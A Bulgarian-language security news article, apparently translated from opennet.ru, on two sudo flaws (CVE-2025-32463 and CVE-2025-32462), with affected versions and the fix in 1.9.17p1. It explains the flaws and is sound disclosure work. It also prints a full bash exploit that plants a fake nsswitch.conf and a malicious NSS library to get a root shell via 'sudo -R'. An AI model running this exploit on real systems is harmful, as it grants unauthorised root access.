В пакета sudo, използван за изпълнение на команди от името на други потребители, е открита уязвимост (CVE-2025-32463), която позволява на всеки непривилегирован потребител да изпълнява код с root права, дори ако потребителят не е споменат в конфигурацията sudoers. Проблемът засяга дистрибуции, използващи конфигурационния файл /etc/nsswitch.conf, например, експлоатацията на уязвимостта е демонстрирана в Ubuntu 24.04 и Fedora 41.
Уязвимостта се проявява в конфигурацията по подразбиране и е потвърдена в версиите на sudo от 1.9.14 до 1.9.17 (потенциално засяга всички версии, започвайки от 1.8.33). Проблемът е отстранен в актуализацията sudo 1.9.17p1. Състоянието на новата версия на пакета или подготовката на корекция в дистрибуциите може да бъде проверено на следните страници (ако страницата не е достъпна, значит разработчиците на дистрибуцията още не са започнали да разглеждат проблема): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).
Проблемът е причинен от факта, че при използване на опцията „-R“ („—chroot“) за стартиране на команди в chroot-окружение с избран потребителски коренов каталог, файлът /etc/nsswitch.conf се зареждаше в контекста на новия коренов каталог, а не на системния каталог. Тъй като потребителят може да използва собствен каталог като коренов каталог за chroot, той може да постави в него конфигурационния файл nsswitch.conf. Контролирайки зареждания от NSS (Name Service Switch) файл /etc/nsswitch.conf, потребителят може да добави конфигурации, които водят до извикването на допълнителни обработчици. Подобни обработчици се зареждат от NSS под формата на споделени библиотеки, които също могат да бъдат поставени в контролирания от потребителя каталог. Заменяйки своята библиотека, потребителят може да постигне изпълнение на код с root права, тъй като обработката на NSS се извършва преди отмяната на привилегиите.
Пример за експлоит: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
В версията на sudo 1.9.17p1 е отстранена още една уязвимост (CVE-2025-32462), която позволява изпълнение на команди с права root, но която се проявява само в конфигурации на sudoers, където параметърът „host“ е зададен на значение различно от ALL или името на текущия хост. Уязвимостта е причинена от грешка, при която опцията „-h“ („—host“) действала не само в комбинация с опцията „-l“ („—list“) за извеждане на привилегиите, свързани с хоста, но и при стартиране на команди. Така потребителят е могъл да посочи при извикване на sudo произволен хост и да заобиколи ограниченията на правилата на sudoers, свързани с името на хоста.
За да извърши атака, потребителят трябва да бъде споменат в sudoers, например, ако в настройките е указано „testuser testhost = ALL“, то потребителят „testuser“ може да посочи „sudo -h testhost“ и да стартира команди с права root на всякакви хостове, а не само на хоста testhost. Уязвимостите не засягат конфигурации с настройки „testuser ALL = ALL“ или без ясни правила за конкретен потребител.
Източник: opennet.ru
